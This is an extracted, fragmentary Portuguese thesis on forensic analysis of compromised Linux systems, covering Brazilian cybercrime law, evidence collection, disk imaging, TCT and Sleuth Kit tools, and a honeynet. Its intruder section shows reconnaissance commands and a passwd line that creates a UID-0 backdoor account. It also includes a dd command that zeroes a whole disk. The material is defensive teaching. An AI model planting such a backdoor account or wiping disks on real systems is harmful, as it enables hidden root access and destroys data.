Analise Forense
Analise Forense
Analise Forense
GNU/Linux
por
Frederico Henrique Böhm Argolo
UFRJ
Abril de 2005
Dedicatória
Dedico este trabalho ao meu pai que apesar de seu falecimento prematuro, sempre
esteve presente no meu coração.
1
Agradecimentos
2
Conteúdo
1 Introdução 8
1.1 Motivação . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
1.2 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
3 Legislação Brasileira 26
1
CONTEÚDO 2
3.2 Leis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Arquivos de Conguração . . . . . . . . . . . . . . . . . . . . 58
Diretórios Temporários . . . . . . . . . . . . . . . . . . . . . . 58
Executáveis e bibliotecas . . . . . . . . . . . . . . . . . . . . . 60
Arquivos de log . . . . . . . . . . . . . . . . . . . . . . . . . . 60
5 Ferramentas Forenses 65
5.1.1 grave-robber . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
5.1.3 mactime . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
5.2 TCTUTILS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
CONTEÚDO 4
5.2.1 istat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
5.2.2 bcat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
5.2.3 nd_inode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
5.2.4 s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
5.2.5 nd_le . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
5.2.6 block_calc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69
7.1 Resultados . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
Bibliograa 93
CONTEÚDO 5
6
Lista de Tabelas
Introdução
1.1 Motivação
• Quem é o responsável;
1.2 Objetivos
Como as atuais leis brasileiras tratam a revolução tecnlógica que o mundo está
enfrentando e os projetos de lei sobre crimes digitais é descrito no no Capítulo 3.
Os procedimentos explicando como deve ser feito para extrair uma evidência
digital de um sistema comprometido serão apresentados no Capítulo 4.
Uma evidência digital é um tipo de evidência física que possui algumas caracte-
rísticas próprias[5], como:
A análise computacional forense surgiu como uma ciência para garantir que a
manipulação dessas novas formas de evidências eletrônicas fosse aceitas em juízo. Ela
compreende da aquisição, preservação, identicação, extração, restauração, análise
e documentação de evidências, quer sejam componentes físicos ou dados que foram
processados eletronicamente e armazenados em mídias computacionais[6]. A análise
computacional forense é diferente das tradicionais disciplinas forenses, pois produz
informações diretas e não resultados interpretativos.
Essa área forense é recente e seu estudo vem crescendo signicamente devido a
popularização do uso de computadores para a realização de delitos, conhecido como
"Crimes de Internet". Disseminação de vírus de computador, desconguração de
sites, invasão de sistemas, ataques de negação de serviços, são exemplos deste novo
tipo de crime.
De acordo com o site mi2g1 , o Brasil está no topo da lista dos grupos hackers
mais ativos do mundo. A ausência de uma legislação especíca para esse tipo de
crime e o descaso das empresas em descobrir o responsável pelo delito estimula tais
atividades ilícitas praticadas por estes grupos.
• Levantamento de Informações;
• Busca de vulnerabilidades;
2.1 Habilidade de um intruso 15
• Mantendo o acesso;
$ host -a exemplo.com.br
Trying "exemplo.com.br"
;; -HEADER- opcode: QUERY, status: NOERROR, id: 1690
;; ags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1
;; QUESTION SECTION:
;exemplo.com.br. IN ANY
;; ANSWER SECTION:
exemplo.com.br. 86400 IN SOA ns.exemplo.com.br.
root.exemplo.com.br. 2003082500 28800 14400 3600000 86400
exemplo.com.br. 86400 IN NS ns.exemplo.com.br.
exemplo.com.br. 86400 IN A 192.168.0.1
exemplo.com.br. 86400 IN TXT "Laboratório do 1o. andar"
2 Domain Name System
3 TransmissionControl Protocol
4 User Datagram Protocol
5 http://www.isc.org/sw/bind
2.1 Habilidade de um intruso 16
;; ADDITIONAL SECTION:
ns.exemplo.com.br. 86400 IN A 192.168.0.1
# nmap -O 127.0.0.1
Sabendo dos serviços disponíveis, o invasor busca revelar qual é sua versão para
denir assim, sua forma de ataque. A leitura de banners dos serviços é uma das
2.1 Habilidade de um intruso 17
maneiras possíveis de descobrir sua versão e pode ser feita com a ferramenta telnet.
O telnet apesar de não ter sido desenvolvido com esse intuito, funciona, pois a
ferramenta estabelece uma conexão TCP com outro computador em qualquer serviço
e após este estabelecimento o próprio serviço retorna algumas informações para o
requisitante, incluindo a versão utilizada. Segue um exemplo:
# telnet 127.0.0.1 22
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.9p1
^]
telnet>
O invasor então começa a procura nos repositórios espalhados pela Internet por
alguma ferramenta, conhecida como exploit, que explore uma vulnerabilidade já
conhecida. Eles tentam também técnicas de força bruta que servem para testar
várias combinações de usuário e senha, ou então ferramentas que capturam tráfego
de rede (sniers ) para obter algum pacote que contenha uma senha. Tudo para
encontrar um ponto de entrada no sistema. Por isto, esta fase exige pesquisa e
paciência do atacante para alcançar um bom êxito.
Nesta fase considera-se que o invasor já tem acesso ao sistema. Então ele verica
se possui privilégios irrestritos (conta de administrador ou root ), o que geralmente
não ocorre, para começar a procurar uma falha local que o permita alcançar os
privilégios de root.
Para isso, são realizadas vericações nos processos que estão em execução, scripts
de inicialização, arquivos que executão com privilégios de administradores (arquivo
suid-root ), versão do kernel, entre outros. Apoiando-se nas novas informações ad-
quiridas, o invasor obtém programas maliciosos que explorem falhas locais e alcança
o acesso de root.
suporte:x:1009:100: ,:/home/suporte:/bin/bash
suporte:x:0:0: ,:/home/suporte:/bin/bash
Nesse intuito ocorre então a alteração nos arquivos de registros do sistema (ar-
quivos de log ), modicação de arquivos executáveis(arquivos binários), remoção de
arquivos e qualquer outra ação necessária para a limpeza dos rastros.
Por ser uma técnica amplamente difundida, a maioria dos rootkits são utilizados
2.2 Tipos de atacantes 20
por pessoas com pouca experiência, e por isso não alcançam a meta de ocultar suas
ações. No apêndice A foi feito um estudo minucioso do funcionamento do rootkit
KFN, demonstrando como esta ferramenta se preocupa em excluir rastros, modicar
os scritps de inicialização, alterar os timestamps do arquivos, tudo com o objetivo
de tornar o invasor invisível.
Os rootkits estão cando cada vez mais avançados e difíceis de serem detecta-
dos. Principalmente aqueles que usam a técnica Loadable Kernel Module(LKM),
pois funcionam alterando chamadas do sistema (syscalls ) e atuando diretamente em
algumas estruturas do kernel [10], exigindo uma maior atenção do investigador no
momento em que for analisar um sistema.
A maioria dos crimes ocorridos não é detectada e nem mesmo reportados, muitas
vezes porque o crime acontece e passa desapercebido. Por exemplo, um indivíduo
pode acessar dados sem autorização e copiá-los. Ou seja, é como se ele estivesse
roubando um "objeto", mas ninguém vai sentir falta porque o original continua no
mesmo lugar de sempre e com seu conteúdo inalterado.
Existem casos em que os incidentes são detectados, porém a vítima prefere não
reportar a ninguém sobre isso. Isso acontece, geralmente, com empresas que ao
declarar que foram invadidas, estarão prejudicando sua imagem perante o mercado
podendo afetar seus negócios.
• Desconguração de sites ;
• Invasão;
Não existe nenhuma solução que garanta a uma empresa que ela nunca irá sofrer
de algum desses incidentes, já que nenhum sistema é completamente livre de falhas.
Porém deve ser elaborado um esquema para que quando ocorra, o administrador do
sistema seja capaz de identicar a falha o mais rápido possível e tomar as devidas
providências para minimizar o risco.
Para isso, é essencial que haja uma monitoração por sinais de intrusão no sistema
como:
• Checar os arquivos de logs. Deve ser feita a vericação nos registros dos
arquivos de log em busca de falhas de conexão, de serviços e qualquer atividade
atípica dos aplicativos.
2.4 Time de Respostas a Incidentes de Segurança 23
• Vericar as aplicações que estão em execução, pois podem existir algumas que
estejam funcionando como uma backdoor instalada pelo invasor. O comando
ps -aux fornece essa informação.
Geralmente, ao se deparar com uma situação em que seu sistema foi compro-
metido, a primeira atitude de um administrador despreparado é desligar a máquina
usando o processo de shutdown nativo. Mas ao realizá-lo, pode haver perda de
evidências importantes caso algumas delas estejam na memória, na área de swap,
ou pior, o atacante pode alterar o script responsável pelo processo de shutdown e
remover seus vestígios.
• Eciência na resposta;
Legislação Brasileira
Ou seja, se não existe uma lei para denir que tipo de ação é infração, então
não existe crime. Ledo engano aqueles que acreditam que por não existirem leis
especícas para os crimes digitais, eles carão impunes. Delitos cometidos como
transferência bancária ilegal pela Internet é um crime de furto já previsto pelo atual
3.1 Classicação dos Crimes de Informática 27
Código Penal. A única diferença é o meio em que foi realizado, que é um novo meio
de comunicação.
Porém, existe a necessidade de leis que tratem essa nova modalidade de conduta
delituosa, para que os advogados busquem a correta tipicidade dentro da legislação,
como estabelecer regras acerca da inviolabilidade do sigilo de dados, da valia do
e-mail como prova e as conseqüências de sua interceptação, entre outros.
Por exemplo, para realizar operações de transferência bancária ilícitas pela Inter-
net, é imprescindível o uso do computador para a sua consumação, sendo classicado
assim como um crime de informática misto.
São todos aqueles em que o sistema de computador é uma mera ferramenta para
cometer um delito já tipicado na lei penal.
Se antes, por exemplo, o crime como pornograa infantil era feito por meio de
vídeos ou revistas, atualmente, se dá por troca de fotos via e-mail e divulgação em
sites. Mudou a forma, mas a essência do crime permanece a mesma.
3.2 Leis 29
3.2 Leis
Embora ainda não existam leis especícas para os crimes digitais atualmente, já
existem leis vigentes criadas para acompanhar essa revolução tecnológica que está
acontecendo. Merecem destaque:
• Lei 9.296/96
• Lei 9.983/00
• Lei 9.800/99
O novo Código Civil não traz nenhum artigo que remeta às ações praticadas pela
Internet mas, em compensação, alguns dos novos artigos podem gerar interpretações
que irão afetar o meio eletrônico, como:
Assim, a legislação não exige que o documento seja reconhecido como verda-
deiro previamente, o documento agora é considerado verdadeiro até que provem o
contrário. O mesmo se aplica para uma evidência eletrônica.
O segundo artigo desta lei diz que não será admitida a interceptação desse uxo
3.2 Leis 31
de comunicação se[19]:
Considera como crime o ato de divulgar, sem justa causa, informações sigilosas
como senhas ou dados pessoais de clientes, por exemplo, contido ou não nos sistemas
de informação.
Então a publicação de dados reservados, assim denidos por lei, pela Internet ou
qualquer outro, é um sistema de informação e infringe a Lei com uma pena de até
4 anos de detenção. Também é crime, de acordo com a Lei 9983/00[20], a inserção,
modicação ou alteração não autorizada de sistema de informações ou banco de
dados.
Essa Lei de 1999, revela que o Brasil está tentando acompanhar o progresso
cientíco e o avanço tecnológico ao permitir às partes a utilização de sistema de
transmissão de dados e imagens, para a prática de atos processuais, como o envio
de petições via correio eletrônico(e-mail ) ao Poder Judiciário . Isso implica mais
comodidade e economia de tempo no envio de petições aos Tribunais de Justiça.
3.3 Projetos de Lei 32
Existem alguns projetos de lei, que até a data da conclusão desse trabalho, trami-
tam na câmara dos deputados(PL) e no senado(PLS) sobre os crimes de informática
onde o m e o meio são pela Internet.
PLS 76/00 - Leomar Quintanilha - Estabelece nova pena aos crimes cometidos
com a utilização de meios de tecnologia de informação e telecomunicações.
Os dois últimos projetos abordam de que forma devem ser tratados os crimes
cometidos pelos computadores e suas penas. Denindo como crimes a destruição de
dados ou sistemas de computação que não sejam seus, a apropriação de dados alheios
e o uso indevido de dados ou registros sem que seus titulares tenham consentido.
3.3 Projetos de Lei 33
1o Nas mesmas penas incorre quem fornece a terceiro meio indevido ou não autorizado de
acesso a meio eletrônico ou sistema informatizado.
Art. 154-B. Manter ou fornecer, indevidamente ou sem autorização, dado ou informação obtida
em meio eletrônico ou sistema informatizado:
1o Nas mesmas penas incorre quem transporta, por qualquer meio, indevidamente ou sem
autorização, dado ou informação obtida em meio eletrônico ou sistema informatizado.
Art. 3o O art. 163 do Decreto-Lei no 2.848, de 7 de dezembro de 1940 - Código Penal, passa a
vigorar com as seguintes alterações, renumerando-se o Parágrafo único para 1o :
Dano eletrônico
2o Equipara-se à coisa:
II - a senha ou qualquer meio de identicação que permita o acesso a meio eletrônico ou sistema
informatizado.
3o Nas mesmas penas do 1o incorre quem cria, insere ou difunde dado ou informação em meio
eletrônico ou sistema informatizado, indevidamente ou sem autorização, com a nalidade de
destruí-lo, inutilizá-lo, modicá-lo ou dicultar-lhe o funcionamento."
Art. 4o O art. 167 do Decreto-Lei no 2.848, de 7 de dezembro de 1940 - Código Penal, passa a
vigorar com as seguintes alterações:
"Art. 167. Nos casos do art. 163, 1o , inciso IV , quando o dado ou informação não tiver
potencial de propagação ou alastramento, e do art. 164, somente se procede mediante
queixa."(NR)
3.3 Projetos de Lei 35
"Pornograa infantil
Art. 218-A. Fotografar, publicar ou divulgar, por qualquer meio, cena de sexo explícito ou
pornográca envolvendo criança ou adolescente:
1o As penas são aumentadas de metade até 2/3 (dois terços) se o crime é cometido por meio de
rede de computadores ou outro meio de alta propagação.
Art. 6o Os arts. 265 e 266, ambos do Decreto-Lei no 2.848, de 7 de dezembro de 1940 - Código
Penal, passam a vigorar com as seguintes alterações:
Art. 265. Atentar contra a segurança ou o funcionamento de serviço de água, luz, força, calor ou
telecomunicação, ou qualquer outro de utilidade pública: (NR)
.................................................................................................................
............................................................................................................... "
Art. 7o O art. 298 do Decreto-Lei no 2.848, de 7 de dezembro de 1940 - Código Penal, passa a
vigorar acrescido do seguinte parágrafo único:
Art. 298-A. Criar ou copiar, indevidamente ou sem autorização, ou falsicar código, seqüência
alfanumérica, cartão inteligente, transmissor ou receptor de radiofreqüência ou de telefonia
3.3 Projetos de Lei 36
celular ou qualquer instrumento que permita o acesso a meio eletrônico ou sistema informatizado:
"Art. 2o .....................................................................................................
1o ..................................................................................................
2o O disposto no inciso III do caput não se aplica quando se tratar de interceptação do uxo de
comunicações em sistema de informática ou telemática.
........................................................................................................"
Art. 10. Os crimes previstos nesta lei quando praticados nas condições do inciso II, art. 9o , do
Decreto-Lei no 1.001, de 21 de outubro de 1969 - Código Penal Militar, serão de competência da
Justiça Militar.
Art. 11. Fica revogado o art. 241 da Lei no 8.069, de 13 de julho de 1990.
4o contra a vida e integridade física das pessoas: I - o uso de mecanismos da informática para
ativação de artefatos explosivos, causando danos, lesões ou homicídios; II - a elaboração de
sistema de computador vinculado a equipamento mecânico, constituindo-se em artefato explosivo;
Art. 3o Qualquer um desses crimes que venha a ser praticado contra empresa concessionária de
serviços públicos, sociedades de economia mista ou sobre qualquer órgão integrante da
administração pública terão suas penas aumentadas para dois a seis meses e multa, nos casos dos
1o e 3o e de um ano e seis meses a dois anos e seis meses e multa nos demais casos.
3.3 Projetos de Lei 38
Art. 4o Caso seja praticado qualquer um dos crimes tipicados nesta Lei como meio de realização
ou facilitação de outro crime, ca caracterizada a circunstância agravante qualicadora,
aumentando-se a pena de um terço até a metade.
Art. 5o Todos os crimes por uso indevido de computador estão sujeitos a multa igual ao valor do
proveito pretendido ou do risco de prejuízo da vítima.
• A evidência original deve ser preservada no estado mais próximo possível da-
quele em que foi encontrada;
• O investigador não deve conar nos programas e nem nas bibliotecas dinâmicas
4.1 Situação inicial do sistema 40
do sistema suspeito;
• A cópia dos dados que serão examinados devem ser feitas para uma mídia
"esterelizada"e sem defeitos;
O investigador forense ao ser chamado para fazer uma análise, pode encontrar o
computador ligado ou desligado. Caso o encontre desligado, ele irá fazer a imagem
do disco e começará a trabalhar em cima desta. O processo sobre a criação de uma
imagem de disco é explicado na seção 4.7.1.
Já em uma situação que o sistema está ligado, é possível coletar dados voláteis
como, processos em execução, conexões abertas, podendo conter informações rele-
vantes à investigação. No entanto, a coleta dos dados voláteis deve respeitar a sua
ordem de volatilidade, pois o tempo de vida de uma evidência digital varia de acordo
com o local onde ela está armazenada. A ordem descendente das principais fontes
de informação de um sistema computacional é[11]:
• tráfego de rede;
• estado do sistema operacional (como por exemplo, estado dos processos e das
conexões de redes, congurações do sistema);
As seções seguintes explicam como realizar esta coleta obecedendo a ordem des-
crita. Vale ressaltar que todas as ferramentas utilizadas nos exemplos tiveram sua
integridade vericada, garantindo assim sua conabilidade.
Supondo que o invasor esteja na estação 10.10.0.1, pode-se capturar a sua tela
assim:
• Dumps da memória;
• Diretório /proc
Core le ou core dump são arquivos que contêm a cópia exata da memória
ocupada pelo processo quando este é terminado pelo sistema. Tais arquivos só são
criados quando o processo recebe sinais cuja ação é terminar o processo e gerar o
core dump como o SIGQUIT, SIGSEGV, entre outros.
Através do comando kill, por exemplo, é possível gerar um core le já que ele é
responsável pelo envio de sinais a um processo.
#le core
core: ELF 32-bit LSB core le (signal 11), Intel 80386, version 1 (SYSV), from 'script.sh'
Programas utilizados para captura de tráfego de rede são conhecidos como snif-
fers. Um dos programas desse gênero mais popular é o tcpdump [23], que pode ser
usado para capturar qualquer tráfego de rede, decodicar e exibir os datagramas à
medida em que são coletados.
# tcpdump -w trafego.dump
É importante destacar que o snier deve ser instalado em um ponto, onde todo o
tráfego do sistema suspeito tenha que passar por ele para garantir que nada deixará
de ser analisado.
Com o sistema ligado o investigador pode coletar dados sobre o estado do sis-
tema operacional, como por exemplo, estado dos processos, e obter importantes
informações sobre o tipo e a origem do ataque.
Vale relembrar que o investigador nunca deve conar nas ferramentas e nem
nas bibliotecas do sistema suspeito, pois o invasor pode ter alterado os binários
do sistema já prevendo uma situação de análise forense. Todos os comandos aqui
exemplicados devem ser feitos pelo investigador com seu próprio conjunto de fer-
ramentas, que este sim é conável.
• processos em execução;
• módulos do kernel;
# ps axu
A saída gerada pela execução do comando no exemplo anterior, será uma lista
de todos os processos correntes no sistema indicando seu número de identicação
(PID1 ), dono do processo, seu consumo de processador e memória, entre outros. O
comando ps possui diversas opções que exibem outros tipos de dados. Caso deseje
saber mais sobre o programa, leia sua man page.
# lsof -p 567
O lsof vai listar todos arquivos abertos pelo processo com PID 567.
Outras ferramentas relevantes na análise dos processos correntes são strace [26]
e ltrace [27], sendo o primeiro responsável por exibir uma listagem das chamadas
de sistema em execução e o segundo pela chamada das rotinas de bibliotecas.
# ls -l /proc/558
total 0
-r--r--r-- 1 root root 0 Mar 9 01:50 cmdline
lrwxrwxrwx 1 root root 0 Mar 9 01:50 cwd -> //
-r-------- 1 root root 0 Mar 9 01:50 environ
lrwxrwxrwx 1 root root 0 Mar 9 01:50 exe -> /usr/sbin/sshd*
dr-x------ 2 root root 0 Mar 9 01:50 fd/
-r--r--r-- 1 root root 0 Mar 9 01:50 maps
1 Process Identier
4.6 Estado do sistema operacional 48
Com todas essas fontes de informação acerca dos processos em execução citadas
anteriormente, é possível identicar situações que podem representar evidências de
uma intrusão, como por exemplo:
# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:E0:4C:E7:59:92
inet addr:10.10.0.16 Bcast:10.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:45374 errors:0 dropped:0 overruns:0 frame:0
TX packets:49282 errors:0 dropped:0 overruns:0 carrier:0
collisions:1571 txqueuelen:1000
RX bytes:17982531 (17.1 Mb) TX bytes:21190760 (20.2 Mb)
Interrupt:10 Base address:0x9000
# netstat -atunp
• endereços IP suspeitos;
Vericar quais usuários estão ou estavam conectados podem revelar dados como:
# lastlog
Username Port From Latest
root ttyp1 10.10.0.84 Wed Mar 9 18:29:08 -0300 2005
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
operator **Never logged in**
sshd **Never logged in**
nobody **Never logged in**
bruno :0 Fri Dec 3 16:10:33 -0200 2004
airon tty1 Fri Mar 1 09:37:53 -0300 2005
paulo tty3 Wed Nov 17 14:23:57 -0200 2004
fred :0 Thu Mar 7 11:52:12 -0300 2005
claudia **Never logged in**
pinaffi :0 Mon Jan 17 13:14:09 -0200 2005
4.7 Dispositivos de armazenagem secundária 51
# w
11:59:24 up 8 min, 2 users, load average: 0.15, 0.32, 0.21
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 11:59 7.00s 0.49s 0.49s -bash
fred :0 - 11:52 ?xdm? 1:20 0.52s /bin/sh /opt/kde/bin/startkde
Essa parte da análise é feita após o computador ter sido desligado, logo só possui
a memória não volátil, CD-ROM, disquetes, discos rígidos, por exemplo. Representa
a mais lenta das etapas devido aos discos representarem a maior fonte de informação.
fazer uma imagem do disco preservando assim, o original. A Seção seguinte trata
deste assunto.
Imagem de um disco é o processo de fazer uma cópia exata dos dados contidos
nele, preservando sua estrutura e localização. Já no processo de copiar todos os
dados de um disco para outro, os dados serão armazenados nesse outro de forma
seqüencial. Tanto na imagem quanto na cópia simples, o conteúdo dos dados no
disco serão os mesmos, mas a forma em que estão distribuídos não.
Uma simples cópia não replica as informações armazenadas em lugares não aces-
síveis pelo sistema de arquivos. E nesses lugares, citados a seguir, os atacantes
podem esconder evidência do seu delito. Alguns deles são:
• Espaços alocados a arquivos que não são totalmente utilizados (le slacks ),
podem ser utilizados para esconder informações. Por exemplo, um arquivo
com tamanho de 2460 bytes, em um sistema de arquivos com tamanho de bloco
de 1024 bytes, ocupa três blocos de alocação(3 * 1024 = 3072) , desperdiçando
os últimos 612 (3072 - 2460 = 612)bytes alocados;
• A BIOS pode não suportar a geometria do disco de modo que, não é permitido
o acesso a toda porção física do disco;
• As partições acessíveis podem não ocupar todo o disco, podendo surgir assim,
espaço entre partições ou no nal do disco;
• Podem existir partições que não contêm um sistema de arquivos e mesmo assim
esconder informações;
4.7 Dispositivos de armazenagem secundária 53
• Arquivos de swap podem conter dados importantes que ainda não foram gra-
vadas no disco
Programas normais de cópia ou de backup não devem ser utilizados para efe-
tuar uma análise forense por só conterem os dados reconhecidos pelo sistema de
arquivos, não capturando todos os dados residuais(arquivos apagados, slack space,
arquivos swap ). Já a imagem do disco realiza uma cópia bit a bit, possuindo todas
as informações do disco.
A escolha e o uso de uma ferramenta correta são imperativos para uma boa
análise computacional forense. De acordo com o National Institute of Standards and
Technology (NIST)[29] essa escolha de ferramenta para a criação de uma imagem do
disco, deve atender a certas especicações:
• Capaz de fazer uma imagem do disco original, uma partição do disco ou uma
mídia removível;
4.7 Dispositivos de armazenagem secundária 54
Supondo que o disco suspeito seja instalado na estação forense como master
da IDE secundária, um exemplo para armazenar a imagem deste disco em arquivo
(hdc_img.dd) é:
# dd if=/dev/hdc of=hdc_img.dd
Caso o intuito seja gerar a imagem em outro disco, acessado pelo arquivo /dev/hdb,
tem-se:
# dd if=/dev/hdc of=/dev/hdb
Neste exemplo, a imagem da IDE secundária master foi gerada na IDE primária
slave. Vale ressaltar que o disco a receber a imagem(/dev/hdb), deve estar "este-
rilizado", completamente limpo, zerado, para evitar que algum dado de instalações
anteriores possa se confundir com os dados do disco suspeito. A própria ferramenta
dd faz isso:
# dd if=/dev/zero of=/dev/hdb
dd: writing to `/dev/hdb': No space left on device
9815715+0 records in
9815714+0 records out
4.7 Dispositivos de armazenagem secundária 55
Em uma situação que o investigador depara-se com um sistema suspeito que não
pode ser desligado, os dados da imagem devem ser transmitidos pela rede a medida
que estes estão sendo gerados. A ferramenta netcat[30] auxilia nesta tarefa, pois
permite escrever e ler dados através de uma conexão de rede, tornando possível a
criação de um ambiente cliente-servidor para transferir a imagem do disco suspeito.
O servidor, preferencialmente uma estação forense, precisa estar preparado para
receber a imagem. Em caráter de exemplo, o servidor escutará a porta 7777:
Ou seja, no primeiro comando foi gerado a imagem e o seu hash cou arma-
4.7 Dispositivos de armazenagem secundária 56
Os itens adiante explicarão cada fonte de informação citada pela tabela acima,
de forma mais aprofundada.
4.7 Dispositivos de armazenagem secundária 58
Arquivos de Conguração
Arquivos desse gênero que merecem destaque são aqueles relacionados ao controle
de acesso à máquina (como conguração de um rewall ), sistemas de log, congura-
ção de usuários/grupos e scripts de inicialização. Na análise feita do rootkit KFN no
apêndice A, nota-se a preocupação do atacante em alterar os scripts de inicialização
ativando novos serviços e desativando outros.
Diretórios Temporários
/dev/MAKEDEV
O comando cat com o parâmetro -A marca o nal de linha com o caractere "$"e
permite a visualização dos caracteres especiais. Com isso, ca mais difícil desses
arquivos passarem desapercebidos.
4.7 Dispositivos de armazenagem secundária 60
Executáveis e bibliotecas
Para vericar a integridade dos binários do sistema que, em regra, estão localiza-
dos no /bin, /sbin, /usr/bin e /usr/sbin, é preciso comparar o hash criptográco
desses arquivos com os binários originais. Isso pode ser feito manualmente através
do md5sum ou utilizando ferramentas automatizadas como Tripwire [31], AIDE
[32], Labrador [33], entre outras.
Arquivos de log
/var/log [11]. Os principais arquivos de log, com uma breve descrição de cada, são
listados na Tabela 4.2.
Para tal objetivo é utilizado uma ferramenta que gera um hash criptográco do
arquivo e verica este, com o hash em seu estado conável. O procedimento pode
ser feito manualmente através do comando md5sum:
# md5sum /etc/shadow
a2952be34a21f07b7698413735468fc5 /etc/shadow
4.9 Aréas não acessíveis 63
Porém o processo manual é muito exaustivo, já que o sistema pode ter diversos
arquivos para serem vericados. Então utiliza-se uma ferramenta que automatiza o
processo, como Tripware, AIDE, Labrador, e verica a integridade dos arquivos
a partir de uma base de dados previamente gerada pelo administrador do sistema.
Caso o administrador do sistema que foi comprometido não tenha essa base de
dados previamente, o investigador deve utilizar o processo manual em busca de
algum arquivo que tenha sofrido alteração.
Até o momento, não foi explicado por esse trabalho como procurar evidências em
áreas não acessíveis pelo sistema de arquivos, como por exemplo, arquivos apagados.
Vale mencionar que a saída do comando unrm deve ser redirecionada para um
sistema de arquivos diferente do analisado, evitando assim, sobrescrever informações.
# lazarus -h hdc_unrm.result
Foi abordada só uma visão supercial do TCT, pois o Capítulo seguinte trata
somente sobre a utilização das ferramentas de analise computacional forense.
Capítulo 5
Ferramentas Forenses
Desenvolvido por Dan Farmer e Wietse Venema, TCT [35] é um conjunto de fer-
ramentas para análise computacional forense em um sistema Linux. Suas principais
partes são:
• grave-robber
• unrm e lazarus
• mactime
5.1 The Coroner's Toolkit (TCT) 66
5.1.1 grave-robber
Essas ferramentas servem para recuperar e analisar blocos de dados não alocados
no sistema de arquivos. O unrm coleta informação de porções não alocadas do
sistema de arquivos e lazarus analisa os dados do unrm, tentando classicá-los
conforme seu conteúdo. No nal, o lazarus pode gerar um relatório em HTML.
5.1.3 mactime
Ajuda a estabelecer uma linha de tempo dos arquivos que tiveram seu MAC 1
time alterado. Todo arquivo tem um inode responsável por armazenar os atribu-
tos MAC time, mantendo informações dos tempos do arquivo. O atributo Modify
1 Modify/Access/Change
5.1 The Coroner's Toolkit (TCT) 67
informa quando um determinado arquivo foi alterado pela última vez e no caso
do diretório, armazena o tempo do último arquivo acrescentado ou removido. A
atualização do atributo Access, ocorre quando um arquivo é executado/aberto ou
quando é acessado caso seja um diretório. Por m, o atributo Change é atualizado
no momento em que as permissões de um arquivo ou diretório são alteradas.
Esta ferramenta serve então para criar uma linha cronológica com relação às
alterações do MAC time dos arquivos a partir de uma determinada data.
# mactime 3/30/2005
No exemplo citado acima, será considerada uma linha de tempo a partir do dia
30 de março de 2005. Esse comando deve ser executado após o grave-robber e no
mesmo diretório que contém os arquivos gerados pelo grave-robber.
O TCT ainda possui outras ferramentas para análise como pcat, ils, icat, entre
outros. Pcat visualiza memória de um processo. ils lista informações sobre o inode.
icat visualiza o conteúdo de um arquivo através do seu número de inode. Utilizando
o comando ils junto com icat é possível restaurar arquivos apagados:
# ils -rf ext2fs /dev/hdb3 | awk -F '|' '($2=="f") print $1' | while read i; do icat /dev/hdb3 $i >
/tmp/apagados/$i; done
Porém é importante descrever dois grandes pontos negativos que o TCT possui.
São eles:
5.2 TCTUTILS
• istat
• bcat
• nd_inode
• s
• nd_le
• blockcalc
5.2.1 istat
Exibe informações sobre um determinado inode como UID, GID, tamanho, MAC
time, entre outros.
# istat hdc_img.dd 7
5.2.2 bcat
5.2.3 nd_inode
5.2.4 s
# s hdc_img.dd
5.2.5 nd_le
5.2.6 block_calc
Não serão apresentados exemplos de uso do TSK, porque muitas de suas fer-
ramentas correspondem a alguma do TCT ou TCTUTILS. A Tabela 5.1 mostra
esse relacionamento.
Existem outras ferramentas do Sleuth Kit que não corresponde a nenhuma dos
programas do TCT ou TCTUTILS, como por exemplo, dstat, fsstat, entre ou-
tros. Maiores detalhes sobre essas e outras ferramentas podem ser obtidas nas
respectivas man pages ou no site http://www.sleuthkit.org/sleuthkit/
O AFB é considerado somente uma interface gráca do Sleuth Kit, pois todos
os procedimentos realizados em sua interface geram comandos do Sleuth Kit que
são interpretados e exibidos novamente pelo AFB.
Maiores informações sobre o AFB podem ser encontradas em suas páginas ma-
nuais ou na página http://www.sleuthkit.org/autopsy/
Para fazer a análise forense é necessário que o investigador tenha a sua disposição
um conjunto de ferramentas que ele utilize para coletar, documentar, preservar e
processar as informações provenientes do sistema investigado.
Alguns tipos de ferramentas importantes para conduzir uma análise forense são:
investigativo. Para isso, basta procurar no site responsável pela sua distribuição
preferida para obter explicações de como criar um CD bootável.
Capítulo 6
• Controle de log : o controle centralizado dos logs, assim como alguns siste-
mas de alerta, permite ao administrador tomar conhecimento sobre ataques e
reconhecimentos em tempo real, através do envio de mensagens pelo correio
eletrônico, celulares etc., além de proteger e facilitar o acesso dos mesmos.
Essa rede, apesar de estar construída dentro do laboratório, utiliza uma diferente
classe de endereçamento IP, e possui todo o seu tráfego isolado da rede de produção.
A estrutura lógica representa a forma da qual a rede é vista por pessoas externas.
Por se tratar de uma estrutura simples, as diferenças entre a estrutura física e lógica
são mínimas, mas importantes para que um atacante não perceba que está sendo
monitorado. A Figura 6.2 representa a estrutura lógica do ambiente de pesquisa
atual.
modo bridge permite que todos os dados sejam retransmitidos sem nenhum tipo
de alteração no cabeçalho dos pacotes. O fato dos honeypots estarem conectados
através de um hub, também permite que a máquina de gerência capture todo o
tráfego interno.
# md5sum /honeynet/mount
d90177e320977fbfcbf924369485de64 /honeynet/mount
# dd if=/honeynet/mount of=/honeypot5.dd
# md5sum /honeypot5.dd
d90177e320977fbfcbf924369485de64 honeypot5.dd
